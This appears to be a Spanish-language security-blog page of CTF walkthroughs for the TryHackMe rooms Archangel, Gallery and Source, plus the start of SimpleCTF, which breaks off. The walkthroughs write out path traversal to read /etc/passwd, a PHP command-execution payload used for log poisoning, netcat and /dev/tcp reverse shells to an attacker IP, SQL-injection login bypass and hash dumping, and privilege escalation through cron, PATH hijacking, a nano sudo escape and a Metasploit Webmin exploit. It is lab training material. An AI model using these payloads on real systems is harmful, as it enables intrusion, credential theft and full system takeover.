Manual paso a paso Archangel TryHackMe de Hacking Ético

Manual paso a paso Archangel TryHackMe de Hacking Ético

A continuación se presenta un manual paso a paso para realizar la máquina Archangel TryHackMe (https://tryhackme.com/room/archangel) el Hacking Ético en el desafío CTF. El manual incluye explicaciones sobre los comandos utilizados y sus respectivas banderas.

Nota: Este manual tiene fines educativos y solo debe ser utilizado en entornos controlados y con autorización.

Antes de empezar, recomendamos realizar los siguientes pasos preparativos:

  1. Añade la IP de la máquina al archivo host
  2. Crea un directorio con el nombre de la máquina para tener organizados los archivos
  3. Crea un archivo para ir anotando todos los indicios que vayamos encontrando
Archangel Tryhackme Portada

Paso 1: Verificar la disponibilidad de la máquina

ping -c 1 <ip_máquina>

Este comando se utiliza para verificar la disponibilidad de la máquina objetivo mediante un ping.

Archangel Tryhackme Ping

Paso 2: Escanear puertos

nmap -A -sCVS --min-rate 5000 -v -n -Pn <ip_máquina> -oN archangel_nmap

El comando nmap se utiliza para realizar un escaneo de puertos en la máquina objetivo. Los flags utilizados tienen los siguientes significados:

  • -A: Realiza un escaneo completo, que incluye detección de servicios y sistemas operativos.
  • -sCVS: Realiza un escaneo de versiones y scripts.
  • --min-rate 5000: Establece la tasa mínima de paquetes enviados por segundo a 5000.
  • -v: Muestra una salida detallada.
  • -n: No realiza resolución DNS.
  • -Pn: Ignora el descubrimiento de hosts y trata todas las direcciones IP como accesibles.
  • -oN archangel_nmap: Guarda la salida en el archivo “archangel_nmap”.

Este escaneo revelará los puertos abiertos en la máquina, en este caso, los puertos 80 y 22.

Archangel Tryhackme Nmap

Paso 3: Explorar directorios con wfuzz

wfuzz -c --hc=404 -w /ruta_diccionario -u http://ip/FUZZ

El comando wfuzz se utiliza para buscar directorios y archivos ocultos en un servidor web. Los flags utilizados son:

  • -c: Ignora las respuestas con código de estado 404 (no encontrado).
  • --hc=404: Configura el código de estado que se debe ignorar.
  • -w /ruta_diccionario: Especifica la ruta del diccionario a utilizar.
  • -u http://ip/FUZZ: Establece la URL objetivo, donde “FUZZ” se reemplazará por las palabras del diccionario.

Este comando buscará directorios ocultos en el servidor web utilizando un diccionario de palabras.

Archangel Tryhackme Wfuzz1

Paso 4: Investigar directorio “flag” y redirecciones

burpsuite

Aquí no encontramos ninguna redirección rara, por lo que seguimos al siguiente paso, entrar en la web y encontrar el otro hostname que nos comentan. Cambia el archivo host para añadir el nuevo hostname encontrado.

Archangel Tryhackme Hostname
Archangel Tryhackme Hostname1

Paso 5: Realizar escaneo de directorios con gobuster en Archangel TryHackMe

gobuster dir -w /diccionario -x php,html,txt -t 100 -q -u <ip_máquina>

El comando gobuster se utiliza para realizar un escaneo de directorios y archivos en un servidor web. Los flags utilizados son:

  • dir: Realiza un escaneo de directorios.
  • -w /diccionario: Especifica la ruta del diccionario a utilizar.
  • -x php,html,txt: Establece las extensiones de archivo a buscar.
  • -t 100: Establece el número de hilos simultáneos.
  • -q: Muestra solo los resultados encontrados.
  • -u <ip_máquina>: Establece la URL objetivo.

Este escaneo revelará posibles directorios y archivos en la máquina objetivo, en esta ocasión vemos el archivo robots.txt, procedemos a acceder a él y vemos una página accesible, que vamos a ir a ella.

Archangel Tryhckme Gobuster

Paso 6: Investigar contenido de la nueva página

Explora el contenido del nuevo host encontrado en los pasos anteriores y busca pistas adicionales o banderas. También accede al archivo robots.txt y a la web encontrada en este archivo.

Archangel Tryhackme Flag1

Paso 7: Local File Inclusion (LFI) Archangel TryHackMe

Accede al archivo /test.php para explorar una posible vulnerabilidad de Local File Inclusion (LFI). Esto podría proporcionar una vía de intrusión al sistema.

Vamos a probar a ver a que tenemos acceso en este servidor, para ello vamos a poner después de la carpeta de development /.././.././.././../etc/passwd para ver si tenemos acceso, el poner /.././ es para engañar al servidor y que no separa que estamos realizando un LFI, en otros casos, con /../../ y así sucesivamente podemos tener acceso a los archivos.

Archangel Tryhackme Lfi1

Tras esto vemos que tenemos acceso a ese archivo, y vemos los usuarios que pueden logarse en el servidor, como primera opción, y por probar, vamos a realizar un ataque con hydra: hydra -l archangel -P /dirección/diccionario <ip_máquina> ssh con esto no conseguimos nada, por lo que vamos a ver a que archivos tenemos acceso.

Archangel Tryhackme Hydra

Vamos a ver los logs del apache, y ver si podemos hacer un ataque log poisoning para ello siguiendo la técnica anterior en vez de /etc/passwd accedemos a: /var/log/apache2/access.log, al tener acceso, vamos a proceder a realizar un ataque de log poisoning, si quieres aprender mas sobre esto, te dejo este enlace: https://ironhackers.es/tutoriales/lfi-to-rce-envenenando-ssh-y-apache-logs/

Archangel Tryhackme Logpoisoning1

Paso 9: Log Poisoning Archangel TryHackMe

Para realizar el ataque abre burpsuite y captura el tráfico una vez capturado, mándalo directamente al repeater y realiza modificaciones en el campo “User-Agent” del encabezado de la petición. Cambia la parte entre paréntesis (X11; Linux...) por el siguiente código: <?php system($_GET['cmd']); ?>. Además, agrega &cmd=id después de .log en la URL. Luego, envía la petición y verifica sí recibes una respuesta con el ID del usuario “www-data”.

Archangel Tryhackme Burpsuite1
Archangel Tryhackme Burpsuite 2

Paso 10: Acceso remoto a la máquina objetivo

Reemplaza el &cmd=id del paso anterior por un reverse shell generado en https://www.revshells.com/. Utiliza el siguiente comando:

&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip_maquina_atacante> puerto >/tmp/f

Ahora selecciona desde el = hasta la f y debes de codificar la URL, para ello dale botón derecho Convert Selection -> URL -> encode-all-characters.

Archangel Tryhackme Burpsuite 3

Ponte en escucha en tu máquina atacante el puerto especificado para obtener acceso remoto a la máquina objetivo utilizando Netcat (nc -nvlp puerto).

Dale a send y espera a tener el control de la máquina víctima.

Archangel Tryhackme Nc1

Paso 11: Búsqueda de banderas y escalada de privilegios en Archangel TryHackMe

Una vez dentro de la máquina, busca las banderas y explora las opciones disponibles para la escalada de privilegios. Considera los binarios, capacidades, permisos de sudo y crontab para encontrar posibles vulnerabilidades y obtener privilegios adicionales.

Identifica un cron que se ejecuta cada minuto con el usuario “archangel”.

Archangel Tryhackme Cron1

Intenta realizar una escalada de privilegios aprovechando este cron. Edita el archivo utilizando el editor de texto Nano y reemplaza la línea “hello world” por el siguiente comando:

sh -i >& /dev/tcp/10.9.81.252/1234 0>&1
Archangel Tryhackme Cron2

Abre otro terminal y ejecuta nc -nvlp 1234. Espera hasta que obtengas acceso a la máquina como el usuario “archangel”. A partir de aquí, explora las opciones disponibles para la escalada de privilegios con este usuario.

Archangel Tryhackme Nc2

Paso 12: Acceso a la carpeta “secret” y ejecución de comandos

Accede a la carpeta “secret” y examina los archivos presentes en ella. Si encuentras un archivo comprimido, investiga su contenido utilizando el comando string. Observa que se ejecuta comandos y busca la presencia del comando “cp”.

Archangel Tryhackme Strings
Archangel Tryhackme Cp

Paso 13: Escalada de privilegios y obtención de acceso root en Archangel TryHackMe

Crea un archivo llamado “cp” y establece los siguientes permisos en él: chmod u+s /bin/bash. Luego, otorga permisos de lectura, escritura y ejecución a todos los usuarios utilizando el comando chmod 777 cp.

Archangel Tryhackme Cp1

A continuación, agrega el comando “cp” al PATH mediante el comando export PATH=.:$PATH. Después, ejecuta el archivo de backup utilizando ./backup y, finalmente, ejecuta el comando bash -p para obtener acceso como usuario root.

¡La máquina ha sido completamente comprometida! Ahora, busca la última bandera para completar el desafío.

Recuerda que este manual está diseñado para un desafío CTF y solo debe ser utilizado con fines educativos en entornos controlados y con autorización.

Resumen Archangel TryHackMe

La máquina Archangel TryHackMe presenta los siguientes aspectos clave:

  • Escaneo de puertos: Se utiliza la herramienta Nmap para identificar los puertos abiertos en la máquina. Se descubren los puertos 80 y 22 abiertos, lo que indica la presencia de servicios web y SSH.
  • Búsqueda de directorios ocultos: Se emplea la herramienta wfuzz para encontrar directorios y archivos ocultos en el sitio web. Mediante el análisis de las respuestas obtenidas, se descubre un directorio llamado “flag”.
  • Análisis de redirecciones: A través de Burp Suite, se analiza la redirección encontrada en el directorio “flag”. Sin embargo, la redirección lleva a un video de YouTube y no proporciona información adicional relevante.
  • Exploración de directorios con gobuster: Se utiliza la herramienta gobuster para buscar directorios ocultos en el dominio encontrado en el host. Se espera a que gobuster finalice su exploración mientras se busca la primera bandera en la nueva página.
  • Explotación de una vulnerabilidad LFI: Se descubre un archivo accesible llamado “test.php”, el cual resulta ser una vulnerabilidad de inclusión de archivos locales (LFI). Se aprovecha esta vulnerabilidad para realizar un ataque de log poisoning y obtener información privilegiada, como el ID del usuario “www-data”.
  • Reverse Shell: Mediante la técnica de log poisoning, se logra establecer un reverse shell en la máquina objetivo. Esto proporciona acceso remoto a la máquina a través de una conexión inversa desde la máquina del atacante.
  • Escalada de privilegios: Se exploran diferentes opciones para la escalada de privilegios. Se encuentra un cron ejecutándose con el usuario “archangel” y se realiza una segunda escalada de privilegios modificando el archivo correspondiente. Esto permite obtener acceso al usuario “archangel” y se buscan otras opciones de escalada de privilegios.
  • Búsqueda de banderas: Durante el proceso de hacking, se busca y recopila información sobre las banderas ocultas en la máquina. Se debe encontrar la última bandera después de comprometer la máquina y obtener privilegios de root.

Estas son las principales técnicas y pasos utilizados durante el CTF para lograr comprometer la máquina objetivo y obtener acceso a la información privilegiada.

Confía en DCSeguridad:

Si estás interesado en fortalecer aún más tus conocimientos y mantenerte al día con las últimas tendencias en seguridad informática, te recomendamos ponerte en contacto con DCSeguridad. Como empresa especializada en seguridad, DCSeguridad puede ofrecerte servicios de consultoría, auditoría y entrenamiento en seguridad informática.

Además, te animamos a unirte a nuestro canal de Telegram. En este canal, compartimos información relevante sobre nuevas vulnerabilidades, técnicas de ataque y mejores prácticas de seguridad. Es un lugar ideal para mantenerse actualizado y participar en discusiones con otros profesionales de seguridad. ¡Únete a nosotros y forma parte de nuestra comunidad dedicada a la seguridad informática!

Recuerda que la seguridad informática es un campo en constante evolución, por lo que es importante seguir aprendiendo y mejorando tus habilidades continuamente. ¡Buena suerte en tu viaje hacia convertirte en un experto en seguridad informática!

Galley TryHackMe manual resolución paso a paso. Pentesting

Galley TryHackMe manual resolución paso a paso. Pentesting

Descubre cómo realizar pentesting en la máquina Galley TryHackMe (https://tryhackme.com/room/gallery666) con nuestro completo manual. Aprende los pasos de preparación, técnicas de hackeo y escalada de privilegios. Obtén un enfoque práctico para proteger y fortalecer tus habilidades en seguridad informática. ¡Sigue nuestra guía paso a paso y conviértete en un experto en ciberseguridad!

Galley TryHackMe

Paso 1: Preparación del entorno para resolver Galley TryHackMe

Antes de comenzar con el pentesting, es importante realizar los siguientes pasos de preparación:

  1. Actualización del sistema operativo: Asegúrate de tener la versión más reciente del sistema operativo que utilizarás durante el proceso de pentesting. Esto te garantizará tener las últimas actualizaciones de seguridad y correcciones de errores.
  2. Organización de archivos: Crea una carpeta dedicada para la máquina que estás analizando. Esto te permitirá mantener tus archivos y resultados organizados de manera efectiva a lo largo del proceso.
  3. Configuración del archivo de hosts: Agrega la dirección IP de la máquina que estás analizando al archivo de hosts de tu sistema. Esto facilitará el acceso a la máquina durante el proceso de pentesting.
  4. Registro de indicios: Crea un archivo o registro donde puedas documentar todos los posibles indicios y hallazgos que descubras durante el análisis. Esto te ayudará a llevar un seguimiento ordenado y completo de tu progreso y resultados.

Realizar estos pasos de preparación garantizará que tengas un entorno adecuado y organizado para llevar a cabo el pentesting de manera eficiente.

Paso 2: Comienza el Hackeo en Galley TryHackMe

Una vez que hayas preparado el entorno, procede con los siguientes pasos para iniciar el hackeo:

Comprobación de disponibilidad: Para verificar si la máquina objetivo está en línea, utiliza el comando ping -c 1 [ip_maquina]. Esto enviará un solo paquete de ping a la dirección IP de la máquina y te indicará si está accesible.

Gallery Tryhackme Ping

Enumeración de puertos abiertos: Utiliza el siguiente comando para identificar los puertos abiertos en la máquina objetivo y responder la primera pregunta planteada:

   nmap -A -sCVS --min-rate 5000 -n -v -Pn [ip_maquina] -oN gallery_nmap

Este comando utiliza Nmap para realizar un escaneo exhaustivo de la máquina y muestra información detallada sobre los servicios y versiones en los puertos abiertos. El resultado revelará que los puertos 80 y 8080 están abiertos.

Gallery Tryhackme Nmap

Escaneo web con WhatWeb: A continuación, utiliza el comando whatweb [ip_maquina]:80 y whatweb [ip_maquina]:8080 para realizar un escaneo web en los puertos abiertos. Esto proporcionará información sobre las tecnologías y aplicaciones utilizadas en los servicios web.

Exploración de la aplicación con Dirb: Para buscar posibles directorios y archivos ocultos en la aplicación web que se encuentra en el puerto 8080, ejecuta el siguiente comando:

   dirb http://gallery.thm:8080

Dirb realizará un análisis exhaustivo de la aplicación en busca de rutas y archivos que puedan ser relevantes para el hackeo.

Paso 3: Búsqueda de Exploits

Después de realizar los pasos anteriores sin encontrar resultados, es hora de buscar posibles exploits que puedan ser aprovechados en la versión de “Simple Image Gallery”. Sigue los siguientes pasos:

Utiliza la herramienta searchsploit para buscar exploits relacionados con la versión de “Simple Image Gallery”:

   searchsploit simple image gallery
Gallery Tryhackme Searchexploit

Este comando buscará en la base de datos de exploits de la herramienta “searchsploit” y mostrará posibles exploits disponibles para la versión específica de “Simple Image Gallery”.

Encuentra y selecciona dos posibles exploits que parezcan relevantes para tu objetivo.

Prueba el primer exploit seleccionado que permita una inyección SQL en el campo de inicio de sesión. Por ejemplo, si el exploit muestra una inyección SQL exitosa utilizando el usuario “admin” con la siguiente cadena: admin' or '1'='1'#, realiza la inyección en el campo de inicio de sesión para loguearte como administrador:

   username: admin' or '1'='1'#
   password: [deja en blanco]
Gallery Tryhackme Exploit1

Si la inyección SQL tiene éxito, obtendrás acceso al sitio como administrador.

Una vez dentro del sitio, explora las funcionalidades y opciones disponibles. Observa la sección de álbumes y verifica que existe la posibilidad de subir una “shell reversa”.

Configura un listener en tu máquina atacante utilizando netcat para escuchar conexiones entrantes en un puerto específico:

   nc -nlvp [puerto]
Gallery Tryhackme Nc 1

Haz clic en la opción de subir archivo para subir una “shell reversa” en el sitio web. Esto iniciará una conexión a tu máquina atacante y proporcionará acceso al servidor objetivo.

Gallery Tryhackme 2

Paso 4: Segundo Exploit y Obtención del Hash de Contraseña

Salimos del Shell reverso y vamos a explorar otras opciones, con el otro exploit, para volver al shell reverso tenemos tiempo, y además aprenderemos nuevas formas de ataques y obtención de objetivos.

Abre Burp Suite y captura una solicitud HTTP cuando cargas una imagen en la aplicación. Guarda la solicitud capturada en un archivo llamado “test.req”.

Utiliza la herramienta sqlmap para analizar la solicitud capturada y obtener información sobre las bases de datos presentes en la aplicación:

   sqlmap -r test.req --dbs
Gallery Tryhackme Sqlmap

Este comando enviará la solicitud capturada a la herramienta sqlmap, que analizará la estructura de la base de datos en busca de posibles vulnerabilidades.

Una vez obtenidos los nombres de las bases de datos, como “gallery_db” e “information_schema”, ejecuta el siguiente comando para enumerar las tablas en la base de datos seleccionada:

   sqlmap -r test.req -D database_name --tables
Gallery Tryhackme Sqlmap 2

Reemplaza “database_name” por el nombre de la base de datos que deseas explorar.

Ahora, para obtener información sobre los usuarios y sus hashes de contraseña, ejecuta el siguiente comando:

   sqlmap -r test.req -D database_name -T table_name --dump
Gallery Tryhackme Sqlmap 4

Reemplaza “database_name” por el nombre de la base de datos y “table_name” por el nombre de la tabla que contiene los datos de los usuarios. Este comando extraerá la información de los usuarios, incluyendo los hashes de contraseña, si están disponibles.

Paso 5: Volver a la Shell Reversa en Galley TryHackMe

En este paso, retomaremos el uso de la shell reversa para obtener acceso al servidor objetivo. Sigue los siguientes pasos:

Configura una shell reversa en la máquina atacante para establecer la conexión con el servidor. Para mejorar la shell reversa, utiliza el siguiente comando:

   script /dev/null -c bash

Esta línea de comando mejorará la interactividad y estabilidad de la shell reversa.

Exporta la variable de entorno “TERM” a “xterm” para asegurar una correcta visualización del terminal:

   export TERM=xterm

Monta un servidor HTTP en tu máquina atacante utilizando Python para transferir el archivo “linpeas.sh” al servidor objetivo. Ejecuta el siguiente comando:

   python3 -m http.server
Gallery Tryhackme Httpserver

Esto iniciará un servidor HTTP en tu máquina atacante.

En la máquina víctima, accede a un directorio en el que tengas los permisos necesarios y descarga el archivo “linpeas.sh” desde tu servidor atacante. Por ejemplo, si has elegido el directorio “/tmp”, utiliza el siguiente comando:

   wget [tu_ip]:8000/linpeas.sh -O /tmp/linpeas.sh

Asegúrate de reemplazar “[tu_ip]” con la dirección IP de tu máquina atacante.

Otorga permisos de ejecución al archivo “linpeas.sh”:

   chmod +x /tmp/linpeas.sh

Ejecuta el script “linpeas.sh” para buscar vulnerabilidades en el sistema:

   bash /tmp/linpeas.sh
Gallery Tryhackme Linpeas

Espera a que el script finalice su ejecución y analiza los resultados en busca de posibles vulnerabilidades.

Durante el análisis, es posible que descubras una contraseña de usuario. Prueba esta contraseña con el usuario “mike” utilizando el siguiente comando:

Gallery Tryhackme Password
   su mike

Si la contraseña es correcta, ahora tendrás acceso como el usuario “mike”.

Verifica los permisos disponibles para tu usuario utilizando el comando:

   sudo -l

Observa si tienes permisos para ejecutar archivos con la ruta “/bin/bash” utilizando el comando “sudo”.

Gallery Tryhackme Sudo L

Paso 6: Escalada de Privilegios Final para Galley TryHackMe

En este paso, realizaremos la escalada final de privilegios utilizando una vulnerabilidad específica en el comando nano. Sigue los siguientes pasos:

Al hacer cat en el archivo en cuestión, descubrimos que podemos escalar privilegios utilizando nano con la opción read. Para obtener más información sobre cómo aprovechar esta vulnerabilidad, sigue las instrucciones detalladas en el siguiente enlace: https://gtfobins.github.io/gtfobins/nano/#sudo

Gallery Tryhackme Nano

Vamos a obtener una shell mejorada utilizando los siguientes pasos:

  • Escribe script /dev/null -c bash en la línea de comandos y presiona Ctrl+Z para suspender el proceso.
  • Una vez en tu terminal, escribe - stty raw -echo ; fg y presiona Enter. Esto reanudará la ejecución del proceso suspendido.
  • Ahora estarás de vuelta en la shell. Escribe reset y presiona Enter.
Gallery Tryhackme Mejora Terminal

Ejecuta el comando sudo -l para verificar los privilegios disponibles. Observa la opción encontrada para ejecutar sudo /bin/bash /opt/rootkit.sh. Sin embargo, es posible que recibas un error de terminal.

Para solucionar el error de terminal, escribe export TERM=xterm y presiona Enter.

Gallery Tryhackme Terminal

Ahora, ejecuta nuevamente el comando sudo /bin/bash /opt/rootkit.sh y en las opciones de nano, elige read.

Gallery Tryhackme Privilegios

Ahora, realiza los siguientes pasos en nano:

   ^R^X (Ctrl+R, Ctrl+X)

Esto te proporcionará una línea de comandos en la parte inferior de nano. Escribe:

   reset; sh 1>&0 2>&0
Gallery Tryhackme Root1

Esto establecerá una nueva sesión de shell.

¡Ahora serás el usuario root! Puedes obtener la última bandera y realizar cualquier acción como root.

Gallery Tryhackme Root

Siguiendo estos pasos, lograrás la escalada final de privilegios y obtendrás acceso como usuario root. Asegúrate de seguir las mejores prácticas de seguridad y actuar de manera ética en todo momento.

Resumen del proceso y tipo de máquina trabajada:

En este manual, se ha seguido un proceso paso a paso para realizar el pentesting de la máquina Gallery en Try Hack Me. Se han cubierto los siguientes aspectos clave:

  1. Preparación del entorno: Actualización del sistema operativo, organización de archivos, configuración del archivo de hosts y registro de indicios.
  2. Comienzo del hackeo: Comprobación de disponibilidad, enumeración de puertos abiertos, escaneo web con WhatWeb y exploración de la aplicación con Dirb.
  3. Búsqueda de exploits: Utilización de la herramienta “searchsploit” para buscar exploits relacionados con la versión de “Simple Image Gallery” y prueba de exploits seleccionados.
  4. Obtención del hash de contraseña: Captura de una solicitud HTTP con Burp Suite, análisis de la solicitud con “sqlmap” para obtener información sobre las bases de datos, tablas y usuarios, y extracción de los hashes de contraseña.
  5. Volver a la shell reversa: Configuración de la shell reversa, transferencia de archivos y búsqueda de vulnerabilidades en el sistema.
  6. Escalada de privilegios final: Utilización de una vulnerabilidad en el comando “nano” para realizar la escalada de privilegios hasta el usuario “root”.

Según la experiencia proporcionada, la máquina Gallery de Try Hack Me es una máquina de nivel intermedio, aunque en la plataforma es fácil. Proporciona la oportunidad de practicar varias técnicas de pentesting, incluyendo enumeración de puertos, análisis de aplicaciones web, búsqueda de exploits, obtención de información de bases de datos y escalada de privilegios. Este tipo de máquinas son ideales para aquellos que desean mejorar sus habilidades en seguridad informática y familiarizarse con los procesos y herramientas utilizados en el pentesting.

Confía en DCSeguridad:

Si estás interesado en fortalecer aún más tus conocimientos y mantenerte al día con las últimas tendencias en seguridad informática, te recomendamos ponerte en contacto con DCSeguridad. Como empresa especializada en seguridad, DCSeguridad puede ofrecerte servicios de consultoría, auditoría y entrenamiento en seguridad informática.

Además, te animamos a unirte a nuestro canal de Telegram. En este canal, compartimos información relevante sobre nuevas vulnerabilidades, técnicas de ataque y mejores prácticas de seguridad. Es un lugar ideal para mantenerse actualizado y participar en discusiones con otros profesionales de seguridad. ¡Únete a nosotros y forma parte de nuestra comunidad dedicada a la seguridad informática!

Recuerda que la seguridad informática es un campo en constante evolución, por lo que es importante seguir aprendiendo y mejorando tus habilidades continuamente. ¡Buena suerte en tu viaje hacia convertirte en un experto en seguridad informática!

Manual resolución Máquina Source TryHackMe. Pentesting WEB

Manual resolución Máquina Source TryHackMe. Pentesting WEB

Manual de Pentesting para Principiantes Utilizando la Máquina Source TryHackMe. Máquina para empezar en el pentesting y en el uso de herramientas como nmap y metasploit

Parte 1: Preparación

Antes de comenzar con el pentesting en la máquina Source, es importante realizar algunas configuraciones iniciales.

Paso 1: Crear directorio de trabajo y editar el archivo de hosts Source TryHackMe

  • Descripción: Para organizar el proyecto, crearemos un directorio de trabajo y editaremos el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.
  • Comandos:
  • Crear directorio de trabajo: Abre una terminal y ejecuta el siguiente comando: mkdir directorio_trabajo
  • Editar archivo hosts: Ejecuta nano /etc/hosts para abrir el archivo hosts en el editor de texto.
  • Agregar la siguiente línea al archivo hosts: <ip_maquina> nombredominio (reemplaza <ip_maquina> con la dirección IP de la máquina objetivo y “nombredominio” con el nombre que desees asignar).

Parte 2: Escaneo y Reconocimiento de Source TryHackMe

El escaneo y reconocimiento son pasos fundamentales en un pentesting. Nos permiten obtener información sobre la máquina objetivo y los servicios que están en ejecución.

Paso 2: Realizar ping a la máquina y descubrir el TTL

  • Descripción: Realiza un ping a la dirección IP de la máquina objetivo para verificar que está en línea y obtener información como el TTL (Time To Live).
  • Comando: Abre una terminal y ejecuta el siguiente comando: ping -c 1 <ip_maquina>
  • TTL: El TTL obtenido en la respuesta del ping puede ayudarnos a identificar el sistema operativo de la máquina objetivo. Un TTL de 63 generalmente indica un sistema operativo Linux.
Source Tryhackme Ping

Paso 3: Hacer un primer escaneo con nmap en Source TryHackMe

  • Descripción: Realiza un escaneo de puertos básico utilizando nmap para identificar los servicios asociados a los puertos abiertos.
  • Comando: En la terminal, ejecuta: nmap -sVC -oN nmap_source <ip_maquina>
  • Servicios encontrados:
  • Puerto 22: El servicio asociado al puerto 22 es SSH (Secure Shell), que proporciona un acceso remoto seguro a la máquina.
  • Puerto 10000: Es posible que este puerto esté asociado a Webmin, un panel de administración web para sistemas Unix.
Source Tryhackme Nmap 1

Parte 3: Escaneo Completo y Detección de Vulnerabilidades en Source TryHackMe

El siguiente paso es realizar un escaneo completo de puertos en la máquina objetivo y utilizar herramientas para detectar vulnerabilidades.

Paso 4: Escaneo completo de la máquina con nmap

  • Descripción: Realiza un escaneo completo de puertos en la máquina objetivo, identificando los servicios y versiones asociados a cada puerto. También utiliza scripts de detección de vulnerabilidades.
  • Comando: Ejecuta en la terminal: nmap -p 22,10000 -sCVS --min-rate 5000 -v -n -Pn <ip_maquina> -oN nmap_source_completo
  • Desglose de los comandos:
  • -p 22,10000: Escanea únicamente los puertos 22 y 10000.
  • -sCVS: Realiza un escaneo de versiones y scripts de detección de vulnerabilidades.
  • --min-rate 5000: Establece una tasa mínima de envío de paquetes para acelerar el escaneo.
  • -v: Activa el modo verboso para obtener más información detallada.
  • -n: Desactiva la resolución de nombres DNS.
  • -Pn: Ignora el descubrimiento de host y trata todas las direcciones como en línea.
  • -oN nmap_source_completo: Guarda los resultados en un archivo llamado “nmap_source_completo”.
Source Tryhackme Nmap 2

Paso 5: Búsqueda de exploits para versiones vulnerables

  • Descripción: Busca exploits disponibles en Metasploit para las versiones específicas de OpenSSH (7.6p1) y Webmin (1.920).
  • Comandos en Metasploit:
  • Ejecuta msfconsole en la terminal para iniciar Metasploit.
  • Utiliza search webmin 1.920 para buscar exploits relacionados con Webmin 1.920.
  • Selecciona el exploit específico que deseas utilizar con el comando use X.
Source Tryhackme Metasploit Search Sploit
  • Utiliza options para ver y configurar las opciones del exploit seleccionado.
  • Establece la dirección IP de la máquina objetivo como objetivo del exploit con el comando set RHOSTS <ip_maquina>.
  • Establece la dirección IP de la interfaz “tun0” o la dirección IP de tu VPN como dirección de origen del exploit con el comando set LHOST tun0.
  • Habilita el uso de SSL en la comunicación con set SSL yes.
  • Ejecuta el exploit con el comando run y realiza el intento de explotación.
Source Tryhackme Metaesploit Definitions

Parte 4: Mejora de la Shell y Exploración

Después de obtener acceso a la máquina objetivo, podemos mejorar la shell y explorar los directorios y archivos relevantes en busca de banderas o evidencias.

Paso 6: Mejora de la shell con Meterpreter

  • Descripción: Mejora la shell obtenida mediante el exploit utilizando Meterpreter para obtener capacidades avanzadas.
  • Comandos en Metasploit:
  • Presiona Ctrl + Z para poner en pausa Metasploit y acceder al shell.
  • Utiliza search shell_to_meterpreter para buscar una carga útil compatible con la mejora de shell a Meterpreter.
  • Selecciona la carga útil específica que deseas utilizar con el comando use 0.
  • Establece la sesión en la que se encuentra la shell para la mejora a Meterpreter con set SESSION 1.
  • Ejecuta la carga útil y realiza la mejora de shell con el comando run.
Source Tryhackme Shell To Meterpreter Run
  • Para acceder a Meterpreter, utiliza el comando sessions 2.
Source Tryhackme Meterpreter Session

Paso 7: Exploración y búsqueda de banderas

  • Descripción: Una vez obtenido el acceso a la máquina, explora los directorios y archivos relevantes para encontrar las banderas o evidencias requeridas.

¡Enhorabuena! Has realizado los pasos necesarios para escanear, identificar vulnerabilidades y obtener acceso a la máquina objetivo. Recuerda que este manual es con fines educativos y solo debe ser utilizado en sistemas y redes donde tengas autorización para realizar pruebas de penetración.

Source Trayhackme Hackeada

Resumen y Tipo de Máquina de Source TryHackMe

En este manual, hemos cubierto los pasos esenciales para realizar un pentesting en la máquina Source. Comenzamos preparando nuestro entorno de trabajo y editando el archivo de hosts para asociar la dirección IP de la máquina objetivo con un nombre de dominio.

Luego, realizamos un escaneo inicial utilizando nmap para identificar los servicios asociados a los puertos abiertos. Continuamos con un escaneo completo de la máquina objetivo, utilizando nmap para obtener información detallada sobre los servicios y versiones.

A continuación, exploramos la búsqueda de exploits para versiones vulnerables en Metasploit y utilizamos diferentes comandos para configurar y ejecutar un exploit específico.

Una vez obtenido el acceso a la máquina, mejoramos nuestra shell utilizando Meterpreter para obtener capacidades avanzadas y exploramos los directorios y archivos relevantes en busca de banderas o evidencias.

En resumen, hemos seguido una metodología de pentesting que abarca desde el escaneo y reconocimiento inicial hasta la explotación y la exploración de la máquina objetivo.

Confía en DCSeguridad

Si estás interesado en fortalecer la seguridad de tu empresa y proteger tu red contra posibles vulnerabilidades, te invitamos a contactar a DCSeguridad. Somos expertos en ciberseguridad y podemos ayudarte a evaluar y mejorar la seguridad de tu infraestructura. También te invitamos a unirte a nuestro canal de Telegram, donde compartimos información relevante sobre seguridad y te mantendremos al tanto de las últimas noticias y tendencias en el campo de la ciberseguridad.

¡No esperes más para proteger tu empresa! Contáctanos y fortalece tu seguridad hoy mismo.

Manual resolución Máquina Source TryHackMe. Pentesting WEB

Resolución Máquina SimpleCTF Try Hack Me. Pentesting Básico

En este manual, te guiaré a través de los pasos básicos para realizar un pentesting utilizando la máquina SimpleCTF Try Hack Me. Aprenderás las herramientas y técnicas necesarias para identificar vulnerabilidades y explotarlas.

Paso 1: Crear directorio de trabajo y añadir host

Para empezar, crea un directorio para trabajar y añade la dirección IP del objetivo para facilitar algunas tareas posteriores.

Paso 2: Escaneo de puertos y detección de servicios

Utilizaremos la herramienta nmap para escanear los puertos y descubrir los servicios en la máquina objetivo. Ejecuta el siguiente comando:

nmap -T4 -sC -sV -sC -Pn -oN nmap_nombrmaquina ipmaquina --script vuln

Explicación de las opciones utilizadas:

  • -T4: Establece la velocidad de escaneo en rápida.
  • -sC: Ejecuta scripts de detección de servicios predeterminados.
  • -sV: Detecta la versión de los servicios en los puertos abiertos.
  • -Pn: Ignora el descubrimiento de hosts y realiza el escaneo directamente.
  • -oN: Guarda la salida en un archivo en formato normal.
  • --script vuln: Esta opción activa la ejecución de scripts de detección de vulnerabilidades incluidos en la base de datos de scripts de nmap. Estos scripts están diseñados para identificar posibles vulnerabilidades en los servicios y aplicaciones que se encuentran en los puertos abiertos. Al utilizar la opción --script vuln, nmap ejecutará una serie de scripts específicos para buscar posibles vulnerabilidades conocidas en los servicios detectados. Estos scripts analizan los banners y respuestas de los servicios para identificar comportamientos o patrones que puedan indicar la existencia de una vulnerabilidad. Es importante tener en cuenta que los scripts de detección de vulnerabilidades de nmap son una herramienta útil para identificar posibles problemas de seguridad en una máquina objetivo. Sin embargo, la detección de vulnerabilidades no garantiza la explotación exitosa de las mismas. Es necesario realizar una evaluación adicional y utilizar herramientas especializadas para confirmar y explotar las vulnerabilidades encontradas. Al utilizar la opción --script vuln, estarás ampliando la cobertura de tu escaneo de seguridad para buscar activamente posibles vulnerabilidades en los servicios de la máquina objetivo. Esto te proporcionará información valiosa para tomar medidas y fortalecer la seguridad de la infraestructura.
SimpleCTF Try Hack Me

Paso 3: Descubrimiento de directorios

Para encontrar posibles directorios ocultos en el sitio web, usaremos la herramienta dirb. Ejecuta el siguiente comando:

dirb http://ipmaquina:80

Paso 4: Descubrimiento del directorio /simple

